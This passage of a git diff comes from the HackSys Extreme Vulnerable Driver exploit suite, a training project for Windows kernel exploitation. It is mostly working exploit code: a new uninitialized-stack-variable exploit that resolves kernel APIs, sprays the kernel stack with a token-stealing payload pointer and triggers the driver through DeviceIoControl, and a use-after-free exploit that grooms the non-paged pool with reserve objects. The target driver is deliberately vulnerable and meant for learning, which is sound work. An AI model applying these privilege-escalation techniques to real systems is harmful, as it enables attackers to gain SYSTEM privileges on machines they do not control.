bytesReturned; - LPCSTR lpFileName = (LPCSTR)DEVICE_NAME; - PVOID pEopPayload = &TokenStealingPayloadWin7Generic; - PUSER_TYPE_CONFUSION_OBJECT pUserTypeConfusionObject = NULL; + ULONG BytesReturned; + LPCSTR FileName = (LPCSTR)DEVICE_NAME; + PVOID EopPayload = &TokenStealingPayloadWin7Generic; + PUSER_TYPE_CONFUSION_OBJECT UserTypeConfusionObject = NULL; __try { DEBUG_MESSAGE("\t[+] Setting Thread Priority\n"); @@ -69,9 +69,9 @@ DWORD WINAPI TypeConfusionThread(LPVOID lpParameter) { // Get the device handle DEBUG_MESSAGE("\t[+] Getting Device Driver Handle\n"); - DEBUG_INFO("\t\t[+] Device Name: %s\n", lpFileName); + DEBUG_INFO("\t\t[+] Device Name: %s\n", FileName); - hFile = GetDeviceHandle(lpFileName); + hFile = GetDeviceHandle(FileName); if (hFile == INVALID_HANDLE_VALUE) { DEBUG_ERROR("\t\t[-] Failed Getting Device Handle: 0x%X\n", GetLastError()); @@ -86,29 +86,29 @@ DWORD WINAPI TypeConfusionThread(LPVOID lpParameter) { DEBUG_INFO("\t\t[+] Allocating Memory For USER_TYPE_CONFUSION_OBJECT\n"); // Allocate the Heap chunk - pUserTypeConfusionObject = (PUSER_TYPE_CONFUSION_OBJECT)HeapAlloc(GetProcessHeap(), - HEAP_ZERO_MEMORY, - sizeof(USER_TYPE_CONFUSION_OBJECT)); + UserTypeConfusionObject = (PUSER_TYPE_CONFUSION_OBJECT)HeapAlloc(GetProcessHeap(), + HEAP_ZERO_MEMORY, + sizeof(USER_TYPE_CONFUSION_OBJECT)); - if (!pUserTypeConfusionObject) { + if (!UserTypeConfusionObject) { DEBUG_ERROR("\t\t\t[-] Failed To Allocate Memory: 0x%X\n", GetLastError()); exit(EXIT_FAILURE); } else { - DEBUG_INFO("\t\t\t[+] Memory Allocated: 0x%p\n", pUserTypeConfusionObject); + DEBUG_INFO("\t\t\t[+] Memory Allocated: 0x%p\n", UserTypeConfusionObject); DEBUG_INFO("\t\t\t[+] Allocation Size: 0x%X\n", sizeof(USER_TYPE_CONFUSION_OBJECT)); } DEBUG_INFO("\t\t[+] Preparing USER_TYPE_CONFUSION_OBJECT structure\n"); - pUserTypeConfusionObject->objectID = (ULONG)0x01; - pUserTypeConfusionObject->objectType = (ULONG)pEopPayload; + UserTypeConfusionObject->objectID = (ULONG)0x01; + UserTypeConfusionObject->objectType = (ULONG)EopPayload; - DEBUG_INFO("\t\t\t[+] pUserTypeConfusionObject: 0x%p\n", pUserTypeConfusionObject); - DEBUG_INFO("\t\t\t[+] pUserTypeConfusionObject->objectID: 0x%p\n", pUserTypeConfusionObject->objectID); - DEBUG_INFO("\t\t\t[+] pUserTypeConfusionObject->objectType: 0x%p\n", pUserTypeConfusionObject->objectType); + DEBUG_INFO("\t\t\t[+] UserTypeConfusionObject: 0x%p\n", UserTypeConfusionObject); + DEBUG_INFO("\t\t\t[+] UserTypeConfusionObject->objectID: 0x%p\n", UserTypeConfusionObject->objectID); + DEBUG_INFO("\t\t\t[+] UserTypeConfusionObject->objectType: 0x%p\n", UserTypeConfusionObject->objectType); - DEBUG_INFO("\t\t[+] EoP Payload: 0x%p\n", pEopPayload); + DEBUG_INFO("\t\t[+] EoP Payload: 0x%p\n", EopPayload); DEBUG_MESSAGE("\t[+] Triggering Kernel Type Confusion\n"); @@ -116,16 +116,18 @@ DWORD WINAPI TypeConfusionThread(LPVOID lpParameter) { DeviceIoControl(hFile, HACKSYS_EVD_IOCTL_TYPE_CONFUSION, - (LPVOID)pUserTypeConfusionObject, + (LPVOID)UserTypeConfusionObject, sizeof(USER_TYPE_CONFUSION_OBJECT), NULL, 0, - &bytesReturned, + &BytesReturned, NULL); OutputDebugString("****************Kernel Mode****************\n"); - HeapFree(GetProcessHeap(), 0, (LPVOID)pUserTypeConfusionObject); + HeapFree(GetProcessHeap(), 0, (LPVOID)UserTypeConfusionObject); + + UserTypeConfusionObject = NULL; } __except (EXCEPTION_EXECUTE_HANDLER) { DEBUG_ERROR("\t\t[-] Exception: 0x%X\n", GetLastError()); diff --git a/Exploit/Source/TypeConfusion.h b/Exploit/Source/TypeConfusion.h index 57d9907..4f1ee61 100644 --- a/Exploit/Source/TypeConfusion.h +++ b/Exploit/Source/TypeConfusion.h @@ -60,6 +60,6 @@ Abstract: ULONG objectType; } USER_TYPE_CONFUSION_OBJECT, *PUSER_TYPE_CONFUSION_OBJECT; - DWORD WINAPI TypeConfusionThread(LPVOID lpParameter); + DWORD WINAPI TypeConfusionThread(LPVOID Parameter); #endif //__TYPE_CONFUSION_H__ diff --git a/Exploit/Source/UninitializedVariable.c b/Exploit/Source/UninitializedHeapVariable.c similarity index 74% rename from Exploit/Source/UninitializedVariable.c rename to Exploit/Source/UninitializedHeapVariable.c index cfd13c0..a337a90 100644 --- a/Exploit/Source/UninitializedVariable.c +++ b/Exploit/Source/UninitializedHeapVariable.c @@ -39,32 +39,32 @@ THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. See the file 'LICENSE' for complete copying permission. Module Name: - UninitializedVariable.c + UninitializedHeapVariable.c Abstract: This module implements the exploit for Uninitialized - Variable Vulnerability implemented in HackSys Extreme - Vulnerable Driver. + Heap Variable Vulnerability implemented in HackSys + Extreme Vulnerable Driver. --*/ -#include "UninitializedVariable.h" +#include "UninitializedHeapVariable.h" -DWORD WINAPI UninitializedVariableThread(LPVOID lpParameter) { - CONST PTCHAR messageToUsers = - "\t \t\n" - "\t + - + - + - + - + - + - + - + - + - + \t\n" - "\t | C | H | A | L | L | E | N | G | E | \t\n" - "\t + - + - + - + - + - + - + - + - + - + \t\n" - "\t \t\n" - "\t Write the exploit for use of Uninitialized Variable \t\n" - "\t \t\n" - "\t Need Help? \t\n" - "\t \t\n" - "\t ashfaq[at]payatu[dot]com \t\n" - "\t \t\n"; +DWORD WINAPI UninitializedHeapVariableThread(LPVOID Parameter) { + CONST PTCHAR Message = + "\t \t\n" + "\t + - + - + - + - + - + - + - + - + - + \t\n" + "\t | C | H | A | L | L | E | N | G | E | \t\n" + "\t + - + - + - + - + - + - + - + - + - + \t\n" + "\t \t\n" + "\t Write the exploit for use of Uninitialized Heap Variable \t\n" + "\t \t\n" + "\t Need Help? \t\n" + "\t \t\n" + "\t ashfaq[at]payatu[dot]com \t\n" + "\t \t\n"; - DEBUG_ERROR(messageToUsers); + DEBUG_ERROR(Message); return EXIT_FAILURE; } diff --git a/Exploit/Source/UninitializedVariable.h b/Exploit/Source/UninitializedHeapVariable.h similarity index 85% rename from Exploit/Source/UninitializedVariable.h rename to Exploit/Source/UninitializedHeapVariable.h index 21d3440..153411c 100644 --- a/Exploit/Source/UninitializedVariable.h +++ b/Exploit/Source/UninitializedHeapVariable.h @@ -39,22 +39,22 @@ THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. See the file 'LICENSE' for complete copying permission. Module Name: - UninitializedVariable.h + UninitializedHeapVariable.h Abstract: - This module implements the data structures used by - the exploit for Uninitialized Variable Vulnerability + This module implements the data structures used by the + exploit for Uninitialized Heap Variable Vulnerability implemented in HackSys Extreme Vulnerable Driver. --*/ -#ifndef __UNINITIALIZED_VARIABLE_H__ - #define __UNINITIALIZED_VARIABLE_H__ +#ifndef __UNINITIALIZED_HEAP_VARIABLE_H__ + #define __UNINITIALIZED_HEAP_VARIABLE_H__ #pragma once #include "Common.h" - DWORD WINAPI UninitializedVariableThread(LPVOID lpParameter); + DWORD WINAPI UninitializedHeapVariableThread(LPVOID Parameter); -#endif //__UNINITIALIZED_VARIABLE_H__ +#endif //__UNINITIALIZED_HEAP_VARIABLE_H__ diff --git a/Exploit/Source/UninitializedStackVariable.c b/Exploit/Source/UninitializedStackVariable.c new file mode 100644 index 0000000..aa6f1b5 --- /dev/null +++ b/Exploit/Source/UninitializedStackVariable.c @@ -0,0 +1,311 @@ +/*++ + + ## ## ######## ## ## ######## + ## ## ## ## ## ## ## + ## ## ## ## ## ## ## + ######### ###### ## ## ## ## + ## ## ## ## ## ## ## + ## ## ## ## ## ## ## + ## ## ######## ### ######## + + HackSys Extreme Vulnerable Driver Exploit + +Author : Ashfaq Ansari +Contact: ashfaq[at]payatu[dot]com +Website: http://www.payatu.com/ + +Copyright (C) 2011-2016 Payatu Technologies Pvt. Ltd. All rights reserved. + +This program is free software: you can redistribute it and/or modify it under the terms of +the GNU General Public License as published by the Free Software Foundation, either version +3 of the License, or (at your option) any later version. + +This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; +without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. +See the GNU General Public License for more details. + +You should have received a copy of the GNU General Public License along with this program. +If not, see . + +THIS SOFTWARE IS PROVIDED "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT +LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE +ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY DIRECT, +INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED +TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS +INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT +LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF +THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + +See the file 'LICENSE' for complete copying permission. + +Module Name: + UninitializedStackVariable.c + +Abstract: + This module implements the exploit for Uninitialized + Stack Variable Vulnerability implemented in HackSys + Extreme Vulnerable Driver. + +--*/ + +#include "UninitializedStackVariable.h" + +VOID ResolveKernelAPIs() { + PCHAR KernelImage; + SIZE_T ReturnLength; + HMODULE hNtDll = NULL; + PVOID HalDispatchTable = NULL; + HMODULE hKernelInUserMode = NULL; + PVOID KernelBaseAddressInKernelMode; + NTSTATUS NtStatus = STATUS_UNSUCCESSFUL; + PSYSTEM_MODULE_INFORMATION pSystemModuleInformation; + + DEBUG_INFO("\t\t[+] Resolving Kernel APIs\n"); + + hNtDll = LoadLibrary("ntdll.dll"); + + if (!hNtDll) { + DEBUG_ERROR("\t\t\t[-] Failed To Load NtDll.dll: 0x%X\n", GetLastError()); + exit(EXIT_FAILURE); + } + + NtQuerySystemInformation = (NtQuerySystemInformation_t)GetProcAddress(hNtDll, "NtQuerySystemInformation"); + + if (!NtQuerySystemInformation) { + DEBUG_ERROR("\t\t\t[-] Failed Resolving NtQuerySystemInformation: 0x%X\n", GetLastError()); + exit(EXIT_FAILURE); + } + else { + DEBUG_INFO("\t\t\t[+] NtQuerySystemInformation: 0x%p\n", NtQuerySystemInformation); + } + + NtMapUserPhysicalPages = (NtMapUserPhysicalPages_t)GetProcAddress(hNtDll, "NtMapUserPhysicalPages"); + + if (!NtMapUserPhysicalPages) { + DEBUG_ERROR("\t\t\t[-] Failed Resolving NtMapUserPhysicalPages: 0x%X\n", GetLastError()); + exit(EXIT_FAILURE); + } + else { + DEBUG_INFO("\t\t\t[+] NtMapUserPhysicalPages: 0x%p\n", NtMapUserPhysicalPages); + } + + NtStatus = NtQuerySystemInformation(SystemModuleInformation, NULL, 0, &ReturnLength); + + // Allocate the Heap chunk + pSystemModuleInformation = (PSYSTEM_MODULE_INFORMATION)HeapAlloc(GetProcessHeap(), + HEAP_ZERO_MEMORY, + ReturnLength); + + if (!pSystemModuleInformation) { + DEBUG_ERROR("\t\t\t[-] Memory Allocation Failed For SYSTEM_MODULE_INFORMATION: 0x%X\n", GetLastError()); + exit(EXIT_FAILURE); + } + + NtStatus = NtQuerySystemInformation(SystemModuleInformation, + pSystemModuleInformation, + ReturnLength, + &ReturnLength); + + if (NtStatus != STATUS_SUCCESS) { + DEBUG_ERROR("\t\t\t[-] Failed To Get SYSTEM_MODULE_INFORMATION: 0x%X\n", GetLastError()); + exit(EXIT_FAILURE); + } + + KernelBaseAddressInKernelMode = pSystemModuleInformation->Module[0].Base; + KernelImage = strrchr((PCHAR)(pSystemModuleInformation->Module[0].ImageName), '\\') + 1; + + hKernelInUserMode = LoadLibraryA(KernelImage); + + if (!hKernelInUserMode) { + DEBUG_ERROR("\t\t\t[-] Failed To Load Kernel: 0x%X\n", GetLastError()); + exit(EXIT_FAILURE); + } + + ZwOpenProcess = (ZwOpenProcess_t)GetProcAddress(hKernelInUserMode, "ZwOpenProcess"); + + if (!ZwOpenProcess) { + DEBUG_ERROR("\t\t\t[-] Failed Resolving ZwOpenProcess: 0x%X\n", GetLastError()); + exit(EXIT_FAILURE); + } + else { + ZwOpenProcess = (ZwOpenProcess_t)((ULONG)ZwOpenProcess - (ULONG)hKernelInUserMode); + ZwOpenProcess = (ZwOpenProcess_t)((ULONG)ZwOpenProcess + (ULONG)KernelBaseAddressInKernelMode); + DEBUG_INFO("\t\t\t[+] ZwOpenProcess: 0x%p\n", ZwOpenProcess); + } + + ZwOpenProcessToken = (ZwOpenProcessToken_t)GetProcAddress(hKernelInUserMode, "ZwOpenProcessToken"); + + if (!ZwOpenProcessToken) { + DEBUG_ERROR("\t\t\t[-] Failed Resolving ZwOpenProcessToken: 0x%X\n", GetLastError()); + exit(EXIT_FAILURE); + } + else { + ZwOpenProcessToken = (ZwOpenProcessToken_t)((ULONG)ZwOpenProcessToken - (ULONG)hKernelInUserMode); + ZwOpenProcessToken = (ZwOpenProcessToken_t)((ULONG)ZwOpenProcessToken + (ULONG)KernelBaseAddressInKernelMode); + DEBUG_INFO("\t\t\t[+] ZwOpenProcessToken: 0x%p\n", ZwOpenProcess); + } + + ZwDuplicateToken = (ZwDuplicateToken_t)GetProcAddress(hKernelInUserMode, "ZwDuplicateToken"); + + if (!ZwDuplicateToken) { + DEBUG_ERROR("\t\t\t[-] Failed Resolving ZwDuplicateToken: 0x%X\n", GetLastError()); + exit(EXIT_FAILURE); + } + else { + ZwDuplicateToken = (ZwDuplicateToken_t)((ULONG)ZwDuplicateToken - (ULONG)hKernelInUserMode); + ZwDuplicateToken = (ZwDuplicateToken_t)((ULONG)ZwDuplicateToken + (ULONG)KernelBaseAddressInKernelMode); + DEBUG_INFO("\t\t\t[+] ZwDuplicateToken: 0x%p\n", ZwDuplicateToken); + } + + PsGetCurrentProcess = (PsGetCurrentProcess_t)GetProcAddress(hKernelInUserMode, "PsGetCurrentProcess"); + + if (!PsGetCurrentProcess) { + DEBUG_ERROR("\t\t\t[-] Failed Resolving PsGetCurrentProcess: 0x%X\n", GetLastError()); + exit(EXIT_FAILURE); + } + else { + PsGetCurrentProcess = (PsGetCurrentProcess_t)((ULONG)PsGetCurrentProcess - (ULONG)hKernelInUserMode); + PsGetCurrentProcess = (PsGetCurrentProcess_t)((ULONG)PsGetCurrentProcess + (ULONG)KernelBaseAddressInKernelMode); + DEBUG_INFO("\t\t\t[+] PsGetCurrentProcess: 0x%p\n", PsGetCurrentProcess); + } + + ZwSetInformationProcess = (ZwSetInformationProcess_t)GetProcAddress(hKernelInUserMode, "ZwSetInformationProcess"); + + if (!ZwSetInformationProcess) { + DEBUG_ERROR("\t\t\t[-] Failed Resolving ZwSetInformationProcess: 0x%X\n", GetLastError()); + exit(EXIT_FAILURE); + } + else { + ZwSetInformationProcess = (ZwSetInformationProcess_t)((ULONG)ZwSetInformationProcess - (ULONG)hKernelInUserMode); + ZwSetInformationProcess = (ZwSetInformationProcess_t)((ULONG)ZwSetInformationProcess + (ULONG)KernelBaseAddressInKernelMode); + DEBUG_INFO("\t\t\t[+] ZwSetInformationProcess: 0x%p\n", ZwSetInformationProcess); + } + + ZwClose = (ZwClose_t)GetProcAddress(hKernelInUserMode, "ZwClose"); + + if (!ZwClose) { + DEBUG_ERROR("\t\t\t[-] Failed Resolving ZwClose: 0x%X\n", GetLastError()); + exit(EXIT_FAILURE); + } + else { + ZwClose = (ZwClose_t)((ULONG)ZwClose - (ULONG)hKernelInUserMode); + ZwClose = (ZwClose_t)((ULONG)ZwClose + (ULONG)KernelBaseAddressInKernelMode); + DEBUG_INFO("\t\t\t[+] ZwClose: 0x%p\n", ZwClose); + } + + HeapFree(GetProcessHeap(), 0, (LPVOID)pSystemModuleInformation); + + if (hNtDll) { + FreeLibrary(hNtDll); + } + + if (hKernelInUserMode) { + FreeLibrary(hKernelInUserMode); + } + + hNtDll = NULL; + hKernelInUserMode = NULL; + pSystemModuleInformation = NULL; +} + +DWORD WINAPI UninitializedStackVariableThread(LPVOID Parameter) { + UINT32 i = 0; + ULONG BytesReturned; + HANDLE hFile = NULL; + HMODULE hModule = NULL; + ULONG MagicValue = 0xBAADF00D; + PULONG StackSprayBuffer = NULL; + LPCSTR FileName = (LPCSTR)DEVICE_NAME; + NTSTATUS NtStatus = STATUS_UNSUCCESSFUL; + PVOID EopPayload = &TokenStealingPayloadDuplicateToken; + SIZE_T StackSprayBufferSize = 1024 * sizeof(ULONG_PTR); + + __try { + DEBUG_MESSAGE("\t[+] Setting Thread Priority\n"); + + if (!SetThreadPriority(GetCurrentThread(), THREAD_PRIORITY_HIGHEST)) { + DEBUG_ERROR("\t\t[-] Failed To Set As THREAD_PRIORITY_HIGHEST\n"); + } + else { + DEBUG_INFO("\t\t[+] Priority Set To THREAD_PRIORITY_HIGHEST\n"); + } + + // Get the device handle + DEBUG_MESSAGE("\t[+] Getting Device Driver Handle\n"); + DEBUG_INFO("\t\t[+] Device Name: %s\n", FileName); + + hFile = GetDeviceHandle(FileName); + + if (hFile == INVALID_HANDLE_VALUE) { + DEBUG_ERROR("\t\t[-] Failed Getting Device Handle: 0x%X\n", GetLastError()); + exit(EXIT_FAILURE); + } + else { + DEBUG_INFO("\t\t[+] Device Handle: 0x%X\n", hFile); + } + + DEBUG_MESSAGE("\t[+] Setting Up Vulnerability Stage\n"); + + DEBUG_INFO("\t\t[+] Allocating Memory For Buffer\n"); + + StackSprayBuffer = (PULONG)HeapAlloc(GetProcessHeap(), + HEAP_ZERO_MEMORY, + StackSprayBufferSize); + + if (!StackSprayBuffer) { + DEBUG_ERROR("\t\t\t[-] Failed To Allocate Memory: 0x%X\n", GetLastError()); + exit(EXIT_FAILURE); + } + else { + DEBUG_INFO("\t\t\t[+] Memory Allocated: 0x%p\n", StackSprayBuffer); + DEBUG_INFO("\t\t\t[+] Allocation Size: 0x%X\n", StackSprayBufferSize); + } + + DEBUG_INFO("\t\t[+] Preparing Buffer Memory Layout\n"); + + for(i = 0; i < StackSprayBufferSize / sizeof(ULONG_PTR); i++) { + StackSprayBuffer[i] = (ULONG)EopPayload; + } + + DEBUG_INFO("\t\t[+] EoP Payload: 0x%p\n", EopPayload); + + ResolveKernelAPIs(); + + DEBUG_INFO("\t\t[+] Spraying the Kernel Stack\n"); + DEBUG_MESSAGE("\t[+] Triggering Use of Uninitialized Stack Variable\n"); + + OutputDebugString("****************Kernel Mode****************\n"); + + // HackSys Extreme Vulnerable driver itself provides a decent interface + // to spray the stack using Stack Overflow vulnerability. However, j00ru + // on his blog disclosed a Windows API that can be used to spray stack up to + // 1024*sizeof(ULONG_PTR) bytes (http://j00ru.vexillium.org/?p=769). Since, + // it's a Windows API and available on Windows by default, I decided to use + // it instead of this driver's Stack Overflow interface. + NtMapUserPhysicalPages(NULL, 1024, StackSprayBuffer); + + // Kernel Stack should not be used for anything else as it + // will corrupt the current sprayed state. So, we will directly + // trigger the vulnerability without putting any Debug prints. + DeviceIoControl(hFile, + HACKSYS_EVD_IOCTL_UNINITIALIZED_STACK_VARIABLE, + (LPVOID)&MagicValue, + 0, + NULL, + 0, + &BytesReturned, + NULL); + + OutputDebugString("****************Kernel Mode****************\n"); + + HeapFree(GetProcessHeap(), 0, (LPVOID)StackSprayBuffer); + + StackSprayBuffer = NULL; + } + __except (EXCEPTION_EXECUTE_HANDLER) { + DEBUG_ERROR("\t\t[-] Exception: 0x%X\n", GetLastError()); + exit(EXIT_FAILURE); + } + + return EXIT_SUCCESS; +} diff --git a/Driver/Source/UninitializedVariable.h b/Exploit/Source/UninitializedStackVariable.h similarity index 78% rename from Driver/Source/UninitializedVariable.h rename to Exploit/Source/UninitializedStackVariable.h index 51c3295..1e1d648 100644 --- a/Driver/Source/UninitializedVariable.h +++ b/Exploit/Source/UninitializedStackVariable.h @@ -8,7 +8,7 @@ ## ## ## ## ## ## ## ## ## ######## ### ######## - HackSys Extreme Vulnerable Driver + HackSys Extreme Vulnerable Driver Exploit Author : Ashfaq Ansari Contact: ashfaq[at]payatu[dot]com @@ -39,27 +39,23 @@ THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. See the file 'LICENSE' for complete copying permission. Module Name: - UninitializedVariable.h + UninitializedStackVariable.h Abstract: - This module implements the data structures for - Uninitialized Variable module. + This module implements the data structures used by the + exploit for Uninitialized Stack Variable Vulnerability + implemented in HackSys Extreme Vulnerable Driver. --*/ -#ifndef __UNINITIALIZED_VARIABLE_H__ - #define __UNINITIALIZED_VARIABLE_H__ +#ifndef __UNINITIALIZED_STACK_VARIABLE_H__ + #define __UNINITIALIZED_STACK_VARIABLE_H__ #pragma once #include "Common.h" - typedef struct _UNINITIALIZED_VARIABLE { - ULONG Value; - FunctionPointer Callback; - } UNINITIALIZED_VARIABLE, *PUNINITIALIZED_VARIABLE; + VOID ResolveKernelAPIs(); + DWORD WINAPI UninitializedStackVariableThread(LPVOID Parameter); - VOID UninitializedVariableObjectCallback(); - NTSTATUS TriggerUninitializedVariable(IN PVOID UserBuffer); - -#endif //__UNINITIALIZED_VARIABLE_H__ +#endif //__UNINITIALIZED_STACK_VARIABLE_H__ diff --git a/Exploit/Source/UseAfterFree.c b/Exploit/Source/UseAfterFree.c index 200851b..a3a41dd 100644 --- a/Exploit/Source/UseAfterFree.c +++ b/Exploit/Source/UseAfterFree.c @@ -53,7 +53,7 @@ Abstract: VOID SprayNonPagedPoolWithReserveObjects() { UINT32 i = 0; HMODULE hModule = NULL; - NTSTATUS ntStatus = STATUS_UNSUCCESSFUL; + NTSTATUS NtStatus = STATUS_UNSUCCESSFUL; hModule = LoadLibraryA("ntdll.dll"); @@ -69,20 +69,22 @@ VOID SprayNonPagedPoolWithReserveObjects() { exit(EXIT_FAILURE); } - RtlFillMemory(hReserveObjectArrayA, sizeof(hReserveObjectArrayA), 0x0); - RtlFillMemory(hReserveObjectArrayB, sizeof(hReserveObjectArrayB), 0x0); + RtlFillMemory(ReserveObjectArrayA, sizeof(ReserveObjectArrayA), 0x0); + RtlFillMemory(ReserveObjectArrayB, sizeof(ReserveObjectArrayB), 0x0); for (i = 0; i < 10000; i++) { - ntStatus = NtAllocateReserveObject(&hReserveObjectArrayA[i], 0, IO_COMPLETION_OBJECT); - if (ntStatus != STATUS_SUCCESS) { + NtStatus = NtAllocateReserveObject(&ReserveObjectArrayA[i], 0, IO_COMPLETION_OBJECT); + + if (NtStatus != STATUS_SUCCESS) { DEBUG_ERROR("\t\t[-] Failed To Allocate Reserve Objects: 0x%X\n", GetLastError()); exit(EXIT_FAILURE); } } for (i = 0; i < 5000; i++) { - ntStatus = NtAllocateReserveObject(&hReserveObjectArrayB[i], 0, IO_COMPLETION_OBJECT); - if (ntStatus != STATUS_SUCCESS) { + NtStatus = NtAllocateReserveObject(&ReserveObjectArrayB[i], 0, IO_COMPLETION_OBJECT); + + if (NtStatus != STATUS_SUCCESS) { DEBUG_ERROR("\t\t[-] Failed To Allocate Reserve Objects: 0x%X\n", GetLastError()); exit(EXIT_FAILURE); } @@ -93,7 +95,7 @@ VOID CreateHolesInNonPagedPoolByClosingReserveObjects() { UINT32 i = 0; for (i = 0; i < 5000; i += 2) { - if (!CloseHandle(hReserveObjectArrayB[i])) { + if (!CloseHandle(ReserveObjectArrayB[i])) { DEBUG_ERROR("\t\t[-] Failed To Close Reserve Objects Handle: 0x%X\n", GetLastError()); exit(EXIT_FAILURE); } @@ -104,27 +106,27 @@ VOID FreeReserveObjects() { UINT32 i = 0; for (i = 0; i < 10000; i++) { - if (!CloseHandle(hReserveObjectArrayA[i])) { + if (!CloseHandle(ReserveObjectArrayA[i])) { DEBUG_ERROR("\t\t[-] Failed To Close Reserve Objects Handle: 0x%X\n", GetLastError()); exit(EXIT_FAILURE); } } for (i = 1; i < 5000; i +=2) { - if (!CloseHandle(hReserveObjectArrayB[i])) { + if (!CloseHandle(ReserveObjectArrayB[i])) { DEBUG_ERROR("\t\t[-] Failed To Close Reserve Objects Handle: 0x%X\n", GetLastError()); exit(EXIT_FAILURE); } } } -DWORD WINAPI UseAfterFreeThread(LPVOID lpParameter) { +DWORD WINAPI UseAfterFreeThread(LPVOID Parameter) { UINT32 i = 0; HANDLE hFile = NULL; - ULONG bytesReturned; - PFAKE_OBJECT pFakeObject = NULL; - LPCSTR lpFileName = (LPCSTR)DEVICE_NAME; - PVOID pEopPayload = &TokenStealingPayloadWin7Generic; + ULONG BytesReturned; + PFAKE_OBJECT FakeObject = NULL; + LPCSTR FileName = (LPCSTR)DEVICE_NAME; + PVOID EopPayload = &TokenStealingPayloadWin7Generic; __try { DEBUG_MESSAGE("\t[+] Setting Thread Priority\n"); @@ -138,9 +140,9 @@ DWORD WINAPI UseAfterFreeThread(LPVOID lpParameter) { // Get the device handle DEBUG_MESSAGE("\t[+] Getting Device Driver Handle\n"); - DEBUG_INFO("\t\t[+] Device Name: %s\n", lpFileName); + DEBUG_INFO("\t\t[+] Device Name: %s\n", FileName); - hFile = GetDeviceHandle(lpFileName); + hFile = GetDeviceHandle(FileName); if (hFile == INVALID_HANDLE_VALUE) { DEBUG_ERROR("\t\t[-] Failed Getting Device Handle: 0x%X\n", GetLastError()); @@ -155,31 +157,31 @@ DWORD WINAPI UseAfterFreeThread(LPVOID lpParameter) { DEBUG_INFO("\t\t[+] Allocating Memory For Buffer\n"); // Allocate the Heap chunk - pFakeObject = (PFAKE_OBJECT)HeapAlloc(GetProcessHeap(), - HEAP_ZERO_MEMORY, - sizeof(FAKE_OBJECT)); + FakeObject = (PFAKE_OBJECT)HeapAlloc(GetProcessHeap(), + HEAP_ZERO_MEMORY, + sizeof(FAKE_OBJECT)); - if (!pFakeObject) { + if (!FakeObject) { DEBUG_ERROR("\t\t\t[-] Failed To Allocate Memory: 0x%X\n", GetLastError()); exit(EXIT_FAILURE); } else { - DEBUG_INFO("\t\t\t[+] Memory Allocated: 0x%p\n", pFakeObject); + DEBUG_INFO("\t\t\t[+] Memory Allocated: 0x%p\n", FakeObject); DEBUG_INFO("\t\t\t[+] Allocation Size: 0x%X\n", sizeof(FAKE_OBJECT)); } DEBUG_INFO("\t\t[+] Preparing FAKE_OBJECT structure\n"); - RtlFillMemory((PVOID)pFakeObject, sizeof(FAKE_OBJECT), 0x41); + RtlFillMemory((PVOID)FakeObject, sizeof(FAKE_OBJECT), 0x41); - pFakeObject->buffer[sizeof(pFakeObject->buffer) - 1] = '\0'; - *(PULONG)pFakeObject = (ULONG)pEopPayload; + FakeObject->buffer[sizeof(FakeObject->buffer) - 1] = '\0'; + *(PULONG)FakeObject = (ULONG)EopPayload; - DEBUG_INFO("\t\t\t[+] pFakeObject Value: 0x%p\n", *(PULONG)pFakeObject); - DEBUG_INFO("\t\t\t[+] pFakeObject Address: 0x%p\n", pFakeObject); + DEBUG_INFO("\t\t\t[+] FakeObject Value: 0x%p\n", *(PULONG)FakeObject); + DEBUG_INFO("\t\t\t[+] FakeObject Address: 0x%p\n", FakeObject); DEBUG_INFO("\t\t\t[+] FAKE_OBJECT Size: 0x%X\n", sizeof(FAKE_OBJECT)); - DEBUG_INFO("\t\t\t[+] EoP Payload: 0x%p\n", pEopPayload); + DEBUG_INFO("\t\t\t[+] EoP Payload: 0x%p\n", EopPayload); DEBUG_INFO("\t\t[+] Preparing NonPaged Kernel Pool Layout\n"); @@ -202,7 +204,7 @@ DWORD WINAPI UseAfterFreeThread(LPVOID lpParameter) { 0, NULL, 0, - &bytesReturned, + &BytesReturned, NULL); OutputDebugString("****************Kernel Mode****************\n"); @@ -217,7 +219,7 @@ DWORD WINAPI UseAfterFreeThread(LPVOID lpParameter) { 0, NULL, 0, - &bytesReturned, + &BytesReturned, NULL); OutputDebugString("****************Kernel Mode****************\n"); @@ -230,11 +232,11 @@ DWORD WINAPI UseAfterFreeThread(LPVOID lpParameter) { for (i = 0; i < 0x1000; i++) { DeviceIoControl(hFile, HACKSYS_EVD_IOCTL_CREATE_FAKE_OBJECT, - (LPVOID)pFakeObject, + (LPVOID)FakeObject, 0, NULL, 0, - &bytesReturned, + &BytesReturned, NULL); } @@ -254,12 +256,14 @@ DWORD WINAPI UseAfterFreeThread(LPVOID lpParameter) { 0, NULL, 0, - &bytesReturned, + &BytesReturned, NULL); OutputDebugString("****************Kernel Mode****************\n"); - HeapFree(GetProcessHeap(), 0, (LPVOID)pFakeObject); + HeapFree(GetProcessHeap(), 0, (LPVOID)FakeObject); + + FakeObject = NULL; } __except (EXCEPTION_EXECUTE_HANDLER) { DEBUG_ERROR("\t\t[-] Exception: 0x%X\n", GetLastError()); diff --git a/Exploit/Source/UseAfterFree.h b/Exploit/Source/UseAfterFree.h index 0d6f396..ac33bd2 100644 --- a/Exploit/Source/UseAfterFree.h +++ b/Exploit/Source/UseAfterFree.h @@ -55,16 +55,18 @@ Abstract: #include "Common.h" + #define IO_COMPLETION_OBJECT 1 + typedef struct _FAKE_OBJECT { CHAR buffer[0x58]; } FAKE_OBJECT, *PFAKE_OBJECT; - 